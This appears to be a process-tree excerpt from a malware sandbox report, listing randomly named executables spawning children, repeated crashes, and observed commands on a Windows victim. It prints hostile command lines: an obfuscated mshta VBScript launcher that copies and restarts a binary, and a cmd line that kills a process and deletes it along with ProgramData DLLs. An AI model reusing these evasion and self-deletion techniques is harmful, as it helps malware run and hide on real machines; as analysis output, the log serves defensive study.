C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 0BsZnVdzBdwET1D6pcPv4IV1.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\0BsZnVdzBdwET1D6pcPv4IV1.exe" & del C:\ProgramData\*.dll & exit9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 0BsZnVdzBdwET1D6pcPv4IV1.exe /f10⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\uRw8B48EDh_smRbh3ixTIny5.exe"C:\Users\Admin\Documents\uRw8B48EDh_smRbh3ixTIny5.exe"8⤵
-
C:\Users\Admin\Documents\dI3jWwEhsS8bcxHKc9Vrdv2p.exe"C:\Users\Admin\Documents\dI3jWwEhsS8bcxHKc9Vrdv2p.exe"8⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8656 -s 6609⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8656 -s 6609⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8656 -s 8049⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8656 -s 11249⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8656 -s 11729⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8656 -s 6769⤵
- Program crash
-
C:\Users\Admin\Documents\j3Si0tL99CVFaNEjm1vc642o.exe"C:\Users\Admin\Documents\j3Si0tL99CVFaNEjm1vc642o.exe"8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL").Run( "cmD.exe /Q /c TYPE ""C:\Users\Admin\Documents\j3Si0tL99CVFaNEjm1vc642o.exe"" > X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if """"== """" for %A IN (""C:\Users\Admin\Documents\j3Si0tL99CVFaNEjm1vc642o.exe"" ) do taskkill /f -im ""%~nxA"" " , 0, trUE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\Documents\j3Si0tL99CVFaNEjm1vc642o.exe"> X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV &if ""== "" for %A IN ("C:\Users\Admin\Documents\j3Si0tL99CVFaNEjm1vc642o.exe" ) do taskkill /f -im "%~nxA"10⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe"C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe"8⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 16804 -s 2410⤵
- Program crash
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 17056 -s 2410⤵
- Program crash
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 20944 -s 2410⤵
- Program crash
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 21608 -s 2410⤵
- Program crash
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exeC:\Users\Admin\Documents\yT_Z0jcAD170TtmNZPfbCYNg.exe9⤵
-
C:\Users\Admin\Documents\DXNSIvszsmVvhO44ByQoLUkS.exe"C:\Users\Admin\Documents\DXNSIvszsmVvhO44ByQoLUkS.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\5973847.exe"C:\Users\Admin\AppData\Roaming\5973847.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\7466283.exe"C:\Users\Admin\AppData\Roaming\7466283.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\5573668.exe"C:\Users\Admin\AppData\Roaming\5573668.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\2677438.exe"C:\Users\Admin\AppData\Roaming\2677438.exe"9⤵
-
C:\Users\Admin\Documents\CrOZeMJizEdBWTNb3XA8skGc.exe"C:\Users\Admin\Documents\CrOZeMJizEdBWTNb3XA8skGc.exe"8⤵
-
C:\Users\Admin\Documents\wljqhcpLZ4m04yoLT1WwFfOr.exe"C:\Users\Admin\Documents\wljqhcpLZ4m04yoLT1WwFfOr.exe"8⤵
-
C:\Users\Admin\Documents\6vTmT3AzVoO_PiDma8QNJYDU.exe"C:\Users\Admin\Documents\6vTmT3AzVoO_PiDma8QNJYDU.exe"8⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4008 -s 6729⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4008 -s 7969⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4008 -s 6569⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4008 -s 11569⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4008 -s 11169⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4008 -s 11609⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4008 -s 11969⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4008 -s 6569⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4008 -s 12569⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4008 -s 10969⤵
- Program crash
-
C:\Users\Admin\Documents\PiGwYuQ7GGCTgymxOyHzbhJZ.exe"C:\Users\Admin\Documents\PiGwYuQ7GGCTgymxOyHzbhJZ.exe"8⤵
-
C:\Users\Admin\Documents\2pn9zJ_464L5fwMfq5hBFeIz.exe"C:\Users\Admin\Documents\2pn9zJ_464L5fwMfq5hBFeIz.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\3023718.exe"C:\Users\Admin\AppData\Roaming\3023718.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\4708138.exe"C:\Users\Admin\AppData\Roaming\4708138.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\3268975.exe"C:\Users\Admin\AppData\Roaming\3268975.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\5180747.exe"C:\Users\Admin\AppData\Roaming\5180747.exe"9⤵
-
C:\Users\Admin\Documents\sipOl7YhD_8Cz1xLa0_ADHDn.exe"C:\Users\Admin\Documents\sipOl7YhD_8Cz1xLa0_ADHDn.exe"8⤵
-
C:\Users\Admin\Documents\YoLZAlkU3osTzUmesQ5voNFd.exe"C:\Users\Admin\Documents\YoLZAlkU3osTzUmesQ5voNFd.exe"8⤵
-
